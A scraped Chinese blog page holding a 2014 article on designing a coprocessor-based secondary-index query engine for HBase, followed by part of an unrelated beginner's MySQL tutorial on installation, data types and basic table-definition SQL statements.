    本文2014年7月份发表于InfoQ,HBase的PMC成员Ted Yu先生参与了审稿并于给予了肯定。该方案设计之初仅寄希望于通过二级索引提升查询性能,由于在前期架构时充分考虑了通用性以及对复杂条件的支持,在后来的演变中逐渐被剥离出来形成了一个通用的查询引擎。Ted Yu对“查询决策器”表示了关心,他指出类似的组件同时也是Phoenix, Impala用于支持SQL查询的核心组件,但是这类组件很难引入到HBase中,因为HBase专注于byte[]的操作。对此,方案在设计时避开了“SQL解析”和“在各种数据类型与byte[]之间进行转化”的棘手问题,而是使用了一组可以描述查询的Query API,这与Hibernate中提供Criteria接口的做法非常相似,在Hibernate中既支持HQL语句的查询又支持使用Criteria接口以编程方式描述的查询,对于我们来说选择类似后者的做法实现起来要快速和容易的多,而查询条件中的值在构造之初就以byte[]的形式传递,避免了决策器解析时的类型判定和转化问题。本文原文出处: http://blog.csdn.net/bluishglc/article/details/31799255 严禁任何形式的转载,否则将委托CSDN官方维护权益!

    题记

    ——索引的实质是另一种编排形式的数据冗余,高效的检索源自于面向查询特别设计的编排形式,如果再辅以分布式的计算框架,就可以支撑起高性能的大数据查询。

    正文

    Apache HBase™是一个分布式、可伸缩的NoSQL数据库,它构建在Hadoop基础设施之上,依托于Hadoop的迅猛发展,HBase在大数据领域的应用越来越广泛,成为目前NoSQL数据库中表现最耀眼,呼声最高的产品之一。像其他NoSQL数据库一样,HBase也有其适用范围,就应对复杂条件的查询来说,一般认为它并不是非常适合[i],熟悉HBase的开发人员对此应该有一定的体会,但是基于普遍的需求,开发者们希望HBase在保持高性能优势的同时能对复杂条件的查询给予一定的支持,而本文将要介绍的正是一种在HBase现行机制下以非侵入式实现的基于二级多列索引的高性能复杂条件查询引擎。

    问题

    目前HBase主要应用在结构化和半结构化的大数据存储上,其在插入和读取上都具有极高的性能表现,这与它的数据组织方式有着密切的关系,在逻辑上,HBase的表数据按RowKey进行字典排序, RowKey实际上是数据表的一级索引(Primary Index),由于HBase本身没有二级索引(Secondary Index)机制,基于索引检索数据只能单纯地依靠RowKey,为了能支持多条件查询,开发者需要将所有可能作为查询条件的字段一一拼接到RowKey中,这是HBase开发中极为常见的做法,但是无论怎样设计,单一RowKey固有的局限性决定了它不可能有效地支持多条件查询。通常来说,RowKey只能针对条件中含有其首字段的查询给予令人满意的性能支持,在查询其他字段时,表现就差强人意了,在极端情况下某些字段的查询性能可能会退化为全表扫描的水平,这是因为字段在RowKey中的地位是不等价的,它们在RowKey中的排位决定了它们被检索时的性能表现,排序越靠前的字段在查询中越具有优势,特别是首位字段具有特别的先发优势,如果查询中包含首位字段,检索时就可以通过首位字段的值确定RowKey的前缀部分,从而大幅度地收窄检索区间,如果不包含则只能在全体数据的RowKey上逐一查找,由此可以想见两者在性能上的差距。

    受限于单一RowKey在复杂查询上的局限性,基于二级索引(Secondary Index)的解决方案成为最受关注的研究方向,并且开源社区已经在这方面已经取得了一定的成果,像ITHBase、IHBase以及华为的hindex项目,这些产品和框架都按照自己的方式实现了二级索引,各自具有不同的优势,同时也都有一定局限性,本文阐述的方案借鉴了它们的一些优点,在确保非侵入的前提下,以高性能为首要目标,通过建立二级多列索引实现了对复杂条件查询的支持,同时通过提供通用的查询API,以及完全基于配置的索引结构,完全封装了索引的创建和使用细节,使之成为一种通用的查询引擎。

    原理

    “二级多列索引”是针对目标记录的某个或某些列建立的“键-值”数据,以列的值为键,以记录的RowKey为值,当以这些列为条件进行查询时,引擎可以通过检索相应的“键-值”数据快速找到目标记录。由于HBase本身并没有索引机制,为了确保非侵入性,引擎将索引视为普通数据存放在数据表中,所以,如何解决索引与主数据的划分存储是引擎第一个需要处理的问题,为了能获得最佳的性能表现,我们并没有将主数据和索引分表储存,而是将它们存放在了同一张表里,通过给索引和主数据的RowKey添加特别设计的Hash前缀,实现了在Region切分时,索引能够跟随其主数据划归到同一Region上,即任意Region上的主数据其索引也必定驻留在同一Region上,这样我们就能把从索引抓取目标主数据的性能损失降低到最小。与此同时,特别设计的Hash前缀还在逻辑上把索引与主数据进行了自动的分离,当全体数据按RowKey排序时,排在前面的都是索引,我们称之为索引区,排在后面的均为主数据,我们称之为主数据区。最后,通过给索引和主数据分配不同的Column Family,又在物理存储上把它们隔离了起来。逻辑和物理上的双重隔离避免了将两类数据存放在同一张表里带来的副作用,防止了它们之间的相互干扰,降低了数据维护的复杂性,可以说这是在性能和可维护性上达到的最佳平衡。

    图1:Sample表Region 1的数据逻辑视图

    让我们通过一个示例来详细了解一下二级多列索引表的结构,假定有一张Sample表,使用四位数字构成Hash前缀[ii],范围从0000到9999,规划切分100个Region,则100个Region的RowKey区间分别为[0000,0099],[0100,0199],……,[9900,9999],以第一个Region为例,请看图1,所有数据按RowKey进行字典排序,自动分成了索引区和主数据区两段,主数据区的Column Family是d,下辖q1,q2,q3等Qualifier,为了简单起见,我们假定q1,q2,q3的值都是由两位数字组成的字符串,索引区的Column Family是i,它不含任何Qualifier,这是一个典型的“Dummy Column Family“,作为区别于d的另一个Column Family,它的作用就是让索引独立于主数据单独存储。接下来是最重要的部分,即索引和主数据的RowKey,我们先看主数据的RowKey,它由四位Hash前缀和原始ID两部分组成,其中Hash前缀是由引擎分配的一个范围在0000到9999之间的随机值,通过这个随机的Hash前缀可以让主数据均匀地散列到所有的Region上,我们看图1,因为Region 1的RowKey区间是[0000,0099],所以没有任何例外,凡是且必须是前缀从0000到0099的主数据都被分配到了Region 1上。接下来看索引的RowKey,它的结构要相对复杂一些,格式为:RegionStartKey-索引名-索引键-索引值,与主数据不同,索引RowKey的前缀部分虽然也是由四位数字组成,但却不是随机分配的,而是固定为当前Region的StartKey,这是非常重要而巧妙的设计,一方面,这个值处在Region的RowKey区间之内,它确保了索引必定跟随其主数据被划分到同一个Region里;另一方面,这个值是RowKey区间内的最小值,这保证了在同一Region里所有索引会集中排在主数据之前。接下来的部分是“索引名”,这是引擎给每类索引添加的一个标识,用于区分不同类型的索引,图1中展示了两种索引:a和b,索引a是为字段q1和q2设计的两列联合索引,索引b是为字段q2和q3设计的两列联合索引,依次类推,我们可以根据需要设计任意多列的联合索引。再接下来就是索引的键和值了,索引键是由目标记录各对应字段的值组成,而索引值就是这条记录的RowKey。

    现在,假定需要查询满足条件q1=01 and q2=02的Sample记录,分析查询字段和索引匹配情况可知应使用索引a,也就是说我们首先确定了索引名,于是在Region 1上进行scan的区间将从主数据全集收窄至[0000-a, 0000-b),接着拼接查询字段的值,我们得到了索引键:0102,scan区间又进一步收窄为[0000-a-0102, 0000-a-0103),于是我们可以很快地找到0000-a-0102-0000|63af51b2这条索引,进而得到了索引值,也就是目标数据的RowKey:0000|63af51b2,通过在Region内执行Get操作,最终得到了目标数据。需要特别说明的是这个Get操作是在本Region上执行的,这和通过HTable发出的Get有很大的不同,它专门用于获取Region的本地数据,其执行效率是非常高的,这也是为什么我们一定要将索引和它的主数据放在同一张表的同一个Region上的原因。

    架构

    在了解了引擎的工作原理之后来我们来看一下它的整体架构:

    图2:引擎的整体架构

    引擎构建在HBase的Coprocessor机制之上,由Client端和Server端两部分构成,对于查询而言,查询请求从Client端经由HTable的coprocessorExec方法推送到所有的RegionServer上,RegionServer接收到查询请求后使用“查询决策器”分析查询条件,比对索引元数据,在找到适合该查询的最优索引后,解析索引区间,然后委托“索引查询器”基于给定的最优索引和解析区间进行数据检索,如果没有找到合适的索引则委托“全表查询器”进行全表扫描。当各RegionServer的局部查询结果返回之后,引擎的Client端还负责对它们并进行合并汇总和排序,从而得到最终的结果集。对于插入而言,当主数据试图写入时会被Coprocessor拦截,委托“索引构造器”根据“索引配置文件”创建指向当前主数据的所有索引,然后一同插入到数据表中。

    让我们来深入了解一下引擎的几个核心组件。对于引擎的客户端来讲,最重要的组件是一套用于表达复杂查询请求的Query API,在这套API的设计上我们借鉴了IHBase的一些做法,通过对查询条件(Condition)进行抽象和建模,得到一套典型的基于“复合模式”(Composite Pattern)的Class Hierarchy,使之能够优雅地表达基于AND和OR的多重复合条件。以图1所示的Sample表为例,使用Query API构造一个查询条件为“(q1=01 and q2<02) or (q1=03 and q2>04)”的Java代码如下:

    图3:引擎客户端的Query API示意代码

    查询请求到达Server端以后,由Coprocessor委派查询决策器进行分析以确定使用何种查询策略应对,这是查询处理流程上的一个关键结点。查询决策器需要分析查询请求的各项细节,包括条件字段、排序字段和排序,然后和索引的元数据进行比对找出性能最优的索引,有时候对于一个查询请求可能会有多个适用索引,但是查询性能却有高下之分,因此需要对每一个候选索引进行性能评估,找出最优者,性能评估的方法是看哪个索引能最大限度地收窄检索区间。索引的元数据来自于索引配置文件,图4展示了一份简单的索引配置,配置中描述的正是图1中使用的索引a和b的元数据,索引元数据主要是由索引名和一组field组成,filed描述的是索引针对的目标列(ColumnFamily:Qualifier)。实际的索引配置通常比我们看到的这份要复杂,因为在生成索引时有很多细节需要通过索引配置给出指引,比如如何处理不定长字段,目标列使用正序还是倒序(例如时间数据在HBase中经常需要按补值进行倒序处理),是否需要使用自定义格式化器对目标列的值进行格式化等等,完全配置化的索引元数据使创建和维护索引的成本大大降低,为上层应用根据实际需求灵活设计索引提供了保障。

    图4:一份简单的索引配置文件

    在确定最优索引之后,查询决策器开始基于最优索引对查询条件进行解析,解析的结果是一组索引区间,区间内的数据未必都满足查询条件,但却是通过计算所能得到的最小区间,索引查询器就在这些区间上进行检索,通过配备的专用Filter对区间内的每一条数据进行最后的匹配判断。图5展示了一个条件为q1=01 and 01<=q2<=03的查询请求在Sample表Region 1上的解析和执行过程。

     

    图5 :查询请求q1=01 and 01<=q2<=03在Sample表Region 1上的解析和执行过程示意

    对于那些找不到索引的查询请求来说,查询决策器将委派全表查询器处理,全表查询器将跳过索引区,从主数据区开始通过配备的专用Filter进行全表扫描。显然,相对于索引查询,全表扫描的执行效率是很低的,它的存在是为了在所有索引都不适用的情况下起“托底”作用,以此保证任意复杂条件的查询都能得到处理,所以这里引出一个非常重要的问题,就是在索引查询和全表扫描之间的选择与权衡问题。通常人们总是希望所有的查询都越快越好,虽然从理论上讲建立覆盖任意条件查询的索引是可能的,但这是不现实的,因为创建索引是有代价的,除了占用大量的存储空间之外还会影响到数据插入的性能,所以不能无节制地创建索引,理性的做法是分析并筛选出最为常用的查询,针对这些查询建立相应的索引,优化查询性能,而对于那些较为“生僻”的查询则使用全表扫描的方式进行处理,以此在存储成本、插入性能和查询性能之间找到一种理想的平衡。最后要补充说明的是,不管是使用索引查询还是进行全表扫描,这些动作都是通过Coprocessor机制分发到所有Region上去并发执行的,即使是全表扫描其性能也将远超过HBase原生的Scan操作!

    应用

    由于引擎设计之初就以非侵入性为前提,所以引擎的部署与集成就与引入第三方类库无异,唯一需要上层应用提供的是面向数据表的索引配置文件。设计索引主要以业务需求为导向,先分析并梳理出常用的查询用例,然后针对查询用例所涉及的字段和排序要求按相似性进行分组,尽可能让单个索引同时支持多种相近的查询,减少索引的种类和数量,提升索引复用率。在这方面如下设计原则可供参考(注:以下原则均以“不考虑排序”为前提):

    • N个字段组合的查询只需要建立一个包含该N个字段的索引,建立按这个N字段其他顺序排列的索引是没有意义的。因此,以N个字段组合为条件的查询只需要C(n, n)=1个索引。
    • 一个包含N个字段的索引同时是以从第1到第N-1个字段为条件的查询索引,以及从第1到第N-2个字段为条件的查询索引,依此类推,也是仅以第1个字段为条件的查询索引。因此,包含N个字段的索引总计可以支持C(n,1)=n种查询组合。
    • 基于上述两点,任意一个索引的字段组合不应该是另一个索引字段组合的前缀部分,这样设计的索引才会有较高的复用率。

    假如某表有A、B、C、D四个字段,在不考虑排序的前提下,如果要用索引支持以任意字段或字段组合为条件的查询,则索引的设计方法如下:四字段索引只需要一个,假定取ABCD(它将同时支持ABCD、ABC、AB和A四种查询)。三字段索引分别以A、B、C、D开头向后循环取足三个字段,得到:ABC、BCD(它将同时支持BCD、BC和B三种查询)、CDA(它将同时支持CDA、CD和C三种查询)和DAB(它将同时支持DAB、DA和D三种查询),其中ABC是ABCD的前缀,故舍弃。按照同样的方法,两字段索引要分别从保留下来的三个三字段索引中依次以每一个字段开头取足两个字段,然后去除重复和前缀重叠的索引,最终得到DB(它将同时支持DB和D两种查询)和AC(它将同时支持AC和A两种查询),总计是6个索引,最后可以再根据实际需求剪裁掉不需要的索引。

    在上述原则的表述中特别注明了“不考虑排序“这个前提,对于索引来说,”排序“是一个很“敏感”的要求,索引本身只有一种排序(即按索引首字段进行的字典排序),如果查询请求的排序与索引排序不同,则索引直接出局,即使它们的字段完全匹配,也就是说排序会极大地消弱索引的复用度,对于我们的引擎来说,排序字段应该受到严格的控制。实际上,很多大数据系统都需要对排序进行限制,比如淘宝上的商品检索,可供排序的字段只有人气,销量,信用和价格,因为排序需要针对数据全集进行计算,如果不是针对有限的排序字段建立索引或是离线计算并缓存结果,按任意字段排序的查询是很难在线返回的。

    小结

    综合前文所述,方案主要有如下几个显著的优势:

    •  高性能:引擎的高性能源自两方面,一是二级多列索引,二是基于Coprocessor的并行计算
    • 非侵入性:引擎构建在HBase之上,既没有对HBase进行任何改动,也不需要上层应用做任何妥协
    • 高度可配置:索引元数据是完全基于配置的,可以轻便灵活地创建和维护索引
    • 通用性:引擎的前端查询接口和后端索引处理都是基于通用目标设计的,不依赖于任何具体表

    限于HBase自身的特点,方案本身也有一定的局限性,一是它不能随意地支持任意的条件查询,这一点前文已经给出了分析和建议,二是在插入主数据时需要伴随插入多份索引从而对写入性能产生了一定的影响,如何控制写入和查询的竞争关系需要根据系统的读写比进行权衡,对于数据写入实时性要求不高或者数据是离线导入的系统来说,可以考虑使用批量导入工具,特别是以直接生成HFile的方式导入的话可以在很大程度上消除引入索引后的写入压力。


    [i]理论上基于HBase的 Filter机制可以实现任意复杂条件的查询,但是那样做就彻底放弃了RowKey作为索引的利用价值,大多数查询的性能都将变得非常差。

    [ii]Hash前缀的长度和Region数量有着密切的关系,由于索引和主数据的分配高度依赖RowKey前缀和Region的RowKey区间,引擎严禁Region进行自动切分,开发人员需要在前期对Region数量和前缀长度进行规划,本例中取四位前缀意味着最多可以支持10000个Region。

    相关阅读:

    OpenTSDB设计解读

    HBase Block Cache的重要实现细节和In-Memory Cache的特点

    关于近期HBase系统设计开发和性能调优的一些小结

    Hadoop源码解析之: HBase Security

     

     

     

    展开全文
  • 数据库MySQL详解

    万次阅读 多人点赞 2018-07-24 20:03:47
    13.2.4 计算日期之间相隔的天数 13.3 字符函数 13.4 条件函数 13.4.1 简单条件判断 13.4.2 复杂条件判断 13.5 自定义函数 13.5.1 创建函数 13.5.2 查看函数 13.5.3 修改函数&删除函数 13.5.4 函数参数 13.5.5 作用...

     

    目录

    第1章 数据库

    1.1 数据库概述

    1.2 数据库表

    1.3 表数据

    第2章 MySql数据库

    2.1 MySql安装

    2.2 登录MySQL数据库

    2.3 SQLyog(MySQL图形化开发工具,我个人用的Navicat)

    2.4 MySQL配置文件

    第3章 SQL语句

    3.1 SQL语句

    3.2 SQL通用语法

    3.3 数据库操作:database

    3.4 表结构相关语句

    3.4.1 创建表

    3.4.2 查看表

    3.4.3 删除表

    3.4.4 修改表结构格式

    3.5 DOS操作数据乱码解决

    第4章 字段属性

    4.1 主键

    4.1.1增加主键

    4.1.2 主键约束

    4.1.3 更新主键 & 删除主键

    4.1.4 主键分类

    4.2 自动增长

    4.2.1 新增自增长

    4.2.2 自增长使用

    4.2.3 修改自增长

    4.2.4 删除自增长

    4.3 唯一键

    4.3.1 增加唯一键

    4.3.2 唯一键约束

    4.3.3 更新唯一键 & 删除唯一键

    4.4 外键

    4.4.1 增加外键

    4.4.2 修改外键&删除外键

    4.4.3 外键作用

    4.4.4 外键条件

    4.4.5 外键约束

    4.4.6 创建外键约束的要求

    4.4.7 外键约束的闭环问题

    4.5 索引

    4.5.1 创建索引

    4.5.2 添加索引

    4.5.3 查询索引

    4.5.4 删除索引

    4.5.5 索引的使用原则

    4.5.6 索引的意义

    第5章 关系

    5.1 一对一

    5.2 一对多

    5.3多对多

    第6章 范式

    6.1 1NF

    6.2 2NF

    6.3 3NF

    6.4 逆规范化

    第7章 数据高级操作

    7.1 新增数据

    7.1.1 IGNORE关键字

    7.1.2 主键冲突

    7.1.3 蠕虫复制

    7.2 更新数据

    7.2.1 UPDATE语句中的内连接

    7.2.2 UPDATE语句中的外连接

    7.3 删除数据

    7.3.1 DELETE语句中的内连接

    7.3.2 DELETE语句中的外连接

    7.3.3 快速删除数据表全部记录

    7.4 查询数据

    7.4.1 Select语句

    7.4.2 去重查询

    7.4.3 字段别名

    7.4.4 数据源

    7.4.5 Where子句

    7.4.6 聚合函数

    7.4.7 Group by子句

    7.4.8 Having子句

    7.4.9 Order by子句

    7.4.10 Limit子句

    第8章 连接查询

    8.1 连接查询分类

    8.2 交叉连接

    8.3 内连接

    8.4 外连接

    8.5 自然连接

    8.6 子查询

    8.6.1 子查询分类

    8.6.2 单行子查询和多行子查询

    8.6.3 WHERE子句中的多行子查询

    8.6.4 子查询的EXISTS关键字

    第9章 视图

    9.1 创建视图

    9.2 查看视图

    9.3 使用视图

    9.4 修改视图

    9.5 删除视图

    9.6 视图意义

    9.7 视图数据操作

    9.7.1 新增数据

    9.7.2 删除数据

    9.7.3 更新数据

    9.8 视图算法

    第10章 数据备份与还原

    10.1 数据表备份

    10.2 单表数据备份

    10.3 SQL备份与还原

    10.4 增量备份

    10.5 大文件备份和还原(图形化操作,推荐!)

    第11章 事务安全

    11.1 事务操作

    11.2 自动事务处理

    11.3 事务原理

    11.4 回滚点

    11.5 事务ACID属性

    11.6 事务的隔离级别

    11.6.1 read uncommitted

    11.6.2 read committed

    11.6.3 repeatable read

    11.6.4 serializable

    第12章 触发器

    12.1 创建触发器

    12.2 查看触发器

    12.3 使用触发器

    12.4 修改触发器&删除触发器

    12.5 触发器记录

    第13章 函数

    13.1 数字函数

    13.2 日期函数

    13.2.1 获取系统时间函数

    13.2.2 日期格式化函数

    13.2.3 日期偏移计算

    13.2.4 计算日期之间相隔的天数

    13.3 字符函数

    13.4 条件函数

    13.4.1 简单条件判断

    13.4.2 复杂条件判断

    13.5 自定义函数

    13.5.1 创建函数

    13.5.2 查看函数

    13.5.3 修改函数&删除函数

    13.5.4 函数参数

    13.5.5 作用域

    第14章 存储过程

    14.1 创建过程

    14.2 查看过程

    14.3 调用过程

    14.4 修改过程&删除过程

    14.5 过程参数


     

     

     

    第1章 数据库

    1.1 数据库概述

    什么是数据库

    数据库就是存储数据的仓库,其本质是一个文件系统,数据按照特定的格式将数据存储起来,用户可以对数据库中的数据进行增加,修改,删除及查询操作。

    什么是数据库管理系统

    数据库管理系统(DataBase Management System,DBMS):指一种操作和管理数据库的大型软件,用于建立、使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性。用户通过数据库管理系统访问数据库中表内的数据。

     

    常见的数据库管理系统

    MYSQL :开源免费的数据库,小型的数据库.已经被Oracle收购了.MySQL6.x版本也开始收费。

    Oracle :收费的大型数据库,Oracle公司的产品。Oracle收购SUN公司,收购MYSQL。

    DB2 :IBM公司的数据库产品,收费的。常应用在银行系统中.

    SQLServer:MicroSoft 公司收费的中型的数据库。C#、.net等语言常使用。

    SyBase :已经淡出历史舞台。提供了一个非常专业数据建模的工具PowerDesigner。

    SQLite : 嵌入式的小型数据库,应用在手机端。

    Java相关的数据库:MYSQL,Oracle.

    这里使用MySQL数据库。MySQL中可以有多个数据库,数据库是真正存储数据的地方。

    数据库与数据库管理系统的关系

     

    1.2 数据库表

    数据库中以表为组织单位存储数据。

    表类似我们的Java类,每个字段都有对应的数据类型。

    那么用我们熟悉的java程序来与关系型数据对比,就会发现以下对应关系。

    类----------表

    类中属性----------表中字段

    对象----------记录

    1.3 表数据

    根据表字段所规定的数据类型,我们可以向其中填入一条条的数据,而表中的每条数据类似类的实例对象。表中的一行一行的信息我们称之为记录。

    表记录与java类对象的对应关系

     

    第2章 MySql数据库

    2.1 MySql安装

    安装

    自行百度

    安装后,MySQL会以windows服务的方式为我们提供数据存储功能。开启和关闭服务的操作:右键点击我的电脑→管理→服务→可以找到MySQL服务开启或停止。

     

    也可以在DOS窗口,通过命令完成MySQL服务的启动和停止(必须以管理运行cmd命令窗口)

     

    2.2 登录MySQL数据库

    MySQL是一个需要账户名密码登录的数据库,登陆后使用,它提供了一个默认的root账号,使用安装时设置的密码即可登录。

    格式1:cmd>  mysql –u用户名 –p密码

    例如:mysql -uroot –proot

     

    格式2:cmd>  mysql --host=ip地址 --user=用户名 --password=密码

    例如:mysql --host=127.0.0.1  --user=root --password=root

     

    2.3 SQLyog(MySQL图形化开发工具,我个人用的Navicat)

    安装:

    提供的SQLyog软件为免安装版,可直接使用。【其实我建议使用Navicat,具体怎么破解得百度,公司都用的这个,学习阶段用SQLyog也没关系】

    使用:

    输入用户名、密码,点击连接按钮,进行访问MySQL数据库进行操作

     

    在Query窗口中,输入SQL代码,选中要执行的SQL代码,按F8键运行,或按执行按钮运行。

    2.4 MySQL配置文件

    看到你的C:\ProgramData\MySQL\MySQL Server 8.0目录,注意ProgramData是隐藏目录,你需要设置查看隐藏文件才能看得到。

    发现下面有个my.ini,这就是MySQL数据库的配置文件,比如字符集、端口号、目录地址等信息都可以在这里配置。

    从大体上我们可以看到,my.ini里面有3个部分。

    [client]和[mysql]是客户端配置信息,[mysqld]是数据库配置信息

    提示:[mysql]中默认no-beep表示当数据库发生错误的时候,不要让主板发出蜂鸣器的声音

    [mysqld]大致说明如下(已去掉默认注释,不然篇幅太长)

     

     

    第3章 SQL语句

    数据库是不认识JAVA语言的,但是我们同样要与数据库交互,这时需要使用到数据库认识的语言SQL语句,它是数据库的代码。

    结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

    创建数据库、创建数据表、向数据表中添加一条条数据信息均需要使用SQL语句。

    3.1 SQL语句

    SQL分类:

    数据定义语言:简称DDL(Data Definition Language),用来定义数据库对象:数据库,表,列等。关键字:create,alter,drop等

    数据操作语言:简称DML(Data Manipulation Language),用来对数据库中表的记录进行更新。关键字:insert,delete,update等

    数据控制语言:简称DCL(Data Control Language),用来定义数据库的访问权限和安全级别,及创建用户。

    数据查询语言:简称DQL(Data Query Language),用来查询数据库中表的记录。关键字:select,from,where等

    3.2 SQL通用语法

    1.SQL语句可以单行或多行书写,以分号结尾

    2.可使用空格和缩进来增强语句的可读性

    3.MySQL数据库的SQL语句不区分大小写,建议使用大写,例如:SELECT * FROM user。

    4.同样可以使用/**/的方式完成注释

    5.MySQL中的我们常使用的数据类型如下

    详细的数据类型如下

    分类

    类型名称

    说明

    整数类型

    tinyInt

    很小的整数,1字节

    smallint

    小的整数,2字节

    mediumint

    中等大小的整数,3字节

    int(integer)

    普通大小的整数,4字节

    bigint 大整数,8字节

    小数类型

    float

    单精度浮点数,4字节

    double

    双精度浮点数,8字节

    decimal(m,d)

    压缩严格的定点数, m表示数字总位数,d表示保留到小数点后d位,不足部分就添0,如果不设置m、d,默认保存精度是整型

    日期类型

    year

    年份 YYYY  1901~2155,1字节

    time

    时间 HH:MM:SS  -838:59:59~838:59:59,3字节

    date

    日期 YYYY-MM-DD 1000-01-01~9999-12-3,3字节

    datetime

    日期时间 YYYY-MM-DD HH:MM:SS 1000-01-01 00:00:00~ 9999-12-31 23:59:59,8字节

    timestamp

    时间戳 YYYY-MM-DD HH:MM:SS  1970~01~01 00:00:01 UTC~2038-01-19 03:14:07UTC,4字节

    文本、二进制类型

    CHAR(M)

    M为0~255之间的整数,固定长度为M,不足后面补全空格

    VARCHAR(M)

    M为0~65535之间的整数

    TINYBLOB

    允许长度0~255字节

    BLOB

    允许长度0~65535字节

    MEDIUMBLOB

    允许长度0~167772150字节

    LONGBLOB

    允许长度0~4294967295字节

    TINYTEXT

    允许长度0~255字节

    TEXT

    允许长度0~65535字节

    MEDIUMTEXT

    允许长度0~167772150字节

    LONGTEXT

    允许长度0~4294967295字节

    VARBINARY(M)

    允许长度0~M个字节的变长字节字符串

    BINARY(M)

    允许长度0~M个字节的定长字节字符串

    需要注意的是:

    > BOOLEAN在数据库保存的是tinyInt类型,false为0,true就是1

    > char是定长,varchar是变长,char存储时,如果字符数没有达到定义的位数,后面会用空格填充到指定长度,而varchar没达到定义位数则不会填充,按实际长度存储。

    > char长度固定,char存取速度还是要比varchar要快得多,方便程序的存储与查找;但是char也为此付出的是空间的代价,因为其长度固定,所以会占据多余的空间,可谓是以空间换取时间效率。varchar则刚好相反,以时间换空间。

     

    3.3 数据库操作:database

    创建数据库

    格式:

    create database 数据库名;

    create database 数据库名 character set 字符集;

    例如:

    #创建数据库 数据库中数据的编码采用的是安装数据库时指定的默认编码 utf8

    CREATE DATABASE day21_1;

    #创建数据库 并指定数据库中数据的编码

    CREATE DATABASE day21_2 CHARACTER SET gbk;

      

    #如果创建之后 修改数据库编码

    ALTER DATABASE day21_2 CHARACTER SET=utf8;

     

    查看数据库

    查看数据库MySQL服务器中的所有的数据库:

    show databases;

    查看某个数据库的定义的信息:

    show create database 数据库名;

    例如:

    show create database day21_1;

     

    删除数据库

    drop database 数据库名称;

    例如:

    drop database day21_2;

     

    其他的数据库操作命令

    切换数据库:

    格式:use 数据库名;

    例如:

    use day21_1;

     

    查看正在使用的数据库:

    select database();

     图形化结果类似于下图

     

     

    3.4 表结构相关语句

    3.4.1 创建表

    格式:

    create table 表名(
       字段名 类型(长度) 约束,
       字段名 类型(长度) 约束
    );

    例如:

    创建分类表

    CREATE TABLE sort (
      sid INT, #分类ID
      sname VARCHAR(100) #分类名称
    );
    
    

    温馨提示:你创建了数据库,就创建了一块逻辑空间,实际在磁盘上创建了一个文件夹,你创建了一个表,实际磁盘生成了一个.ibd文件,你可以在C:\ProgramData\MySQL\MySQL Server 8.0\Data目录下验证一下,路径中的ProgramData是隐藏文件夹。

    举个例子,你创建了test数据库,然后你执行建表语句如下

    CREATE TABLE temp(/*实验精度丢失问题*/
    	id INT UNSIGNED PRIMARY KEY,
    	num DECIMAL(20, 10) /*数字总位数20,保留小数点后10位*/
    )

    实际在你的磁盘上是这样存储的

     

    3.4.2 查看表

    查看数据库中的所有表:

    格式:

    show tables;

     图形化结果类似于下图

    这里的命名就告诉了你是 test 数据库里面的表

     

    查看表结构:

    有两种方式

    方法一: desc 表名;

    方法二: SHOW COLUMNS FROM 表名;

    例如:

    DESC student;
    
    SHOW COLUMNS FROM student;
    
    /* 这两种方式结果一模一样,第一种更常见,显然命令更短你也更愿意用 */

     图形化结果类似于下图

     

    3.4.3 删除表

    格式:drop table 表名;

    例如:

    drop table sort;

     

    3.4.4 修改表结构格式

    alter table 表名 add 列名 类型(长度) 约束;

    作用:修改表添加列.

    例如:

    #1,为分类表添加一个新的字段为 分类描述 varchar(20)

    ALTER TABLE sort ADD sdesc VARCHAR(20);

    当然,想添加多个字段分类怎么做呢?

    /*添加多个列方法一*/
    ALTER TABLE student
    ADD address VARCHAR(200) NOT NULL,
    ADD home_tel CHAR(11) NOT NULL;
    /*add语句之间用逗号分隔,最后用分号结束*/
    
    /*添加多个列方法二*/
    ALTER TABLE student
    ADD (address VARCHAR(200) NOT NULL,home_tel CHAR(11) NOT NULL);

    值得注意的是:

    如果表需要添加多列,而有一列字段home_tel之前已经添加过了,结果会显示Duplicate column name 'home_tel',那么你本次添加的多列字段都是无效的,即全部添加失败

     

     

    alter table 表名 modify 列名 类型(长度) 约束;

    作用:修改表修改列的类型长度及约束.

    例如:

    #2, 为分类表的分类名称字段进行修改,类型varchar(50) 添加约束 not null

    ALTER TABLE sort MODIFY sname VARCHAR(50) NOT NULL; /* 添加约束NOT NULL */
    
    ALTER TABLE student
    MODIFY home_tel VARCHAR(20) NOT NULL; /*CHAR(11)修改为VARCHAR(200)*/

    同理,和add类似,需要修改多个列的类型长度及约束,那么modify语句之间用逗号分隔,最后一句的末尾用分号结束。

     

    alter table 表名 change 旧列名 新列名 类型(长度) 约束;

    作用:修改表修改列名.

    例如:

    #3, 为分类表的分类名称字段进行更换 更换为 snamesname varchar(30)

    ALTER TABLE sort CHANGE sname snamename VARCHAR(30);

    同理,和add类似,需要修改多个列的字段名,那么change语句之间用逗号分隔,最后一句的末尾用分号结束。

    直接来个例题:

    假设有2个选项, 选择哪一个

    A. ALTER TABLE cource CHANGE cname VARCHAR(30) NOT NULL FIRST;

    B. ALTER TABLE cource MODIFY  cname VARCHAR(30) NOT NULL FIRST;

    请注意CHANGE和MODIFY的区别, MODIFY可以修改字段类型、字段属性,而CHANGE可修改字段名称,并且CHANGE需要旧列名和新列名,答案是B

     

    alter table 表名 drop 列名;

    作用:修改表删除列.

    例如:

    #4, 删除分类表中snamename这列

    ALTER TABLE sort DROP snamename;
    
    ALTER TABLE student
    DROP home_address,
    DROP home_tel;

    同理,和add类似,需要删除多列,那么drop语句之间用逗号分隔,最后一句的末尾用分号结束。

    来一道选择题,题目是:删除数据表中多余的列的语句是哪些,有同学上去就选了个B,认为删除就是DELETE,这里的答案是AC。

     

    rename table 表名 to 新表名;

    作用:修改表名

    例如:

    #5, 为分类表sort 改名成 category

    RENAME TABLE sort TO category;

     

    alter table 表名 character set 字符集;

    作用:修改表的字符集

    例如:

    #6, 为分类表 category 的编码表进行修改,修改成 gbk

    ALTER TABLE category CHARACTER SET gbk;

     

    3.5 DOS操作数据乱码解决

    我们在dos命令行操作中文时,会报错

    insert into user(username,password) values(‘张三’,’123’);

    ERROR 1366 (HY000): Incorrect string value: '\xD5\xC5\xC8\xFD' for column 'username' at row 1

    原因:因为mysql的客户端编码的问题我们的是utf8,而系统的cmd窗口编码是gbk

    解决方案(临时解决方案):修改mysql客户端编码。

    show variables like 'character%'; 查看所有mysql的编码

     

    在图中与客户端有关的编码设置:

    client connetion result 和客户端相关

    database server system 和服务器端相关

    将客户端编码修改为gbk.

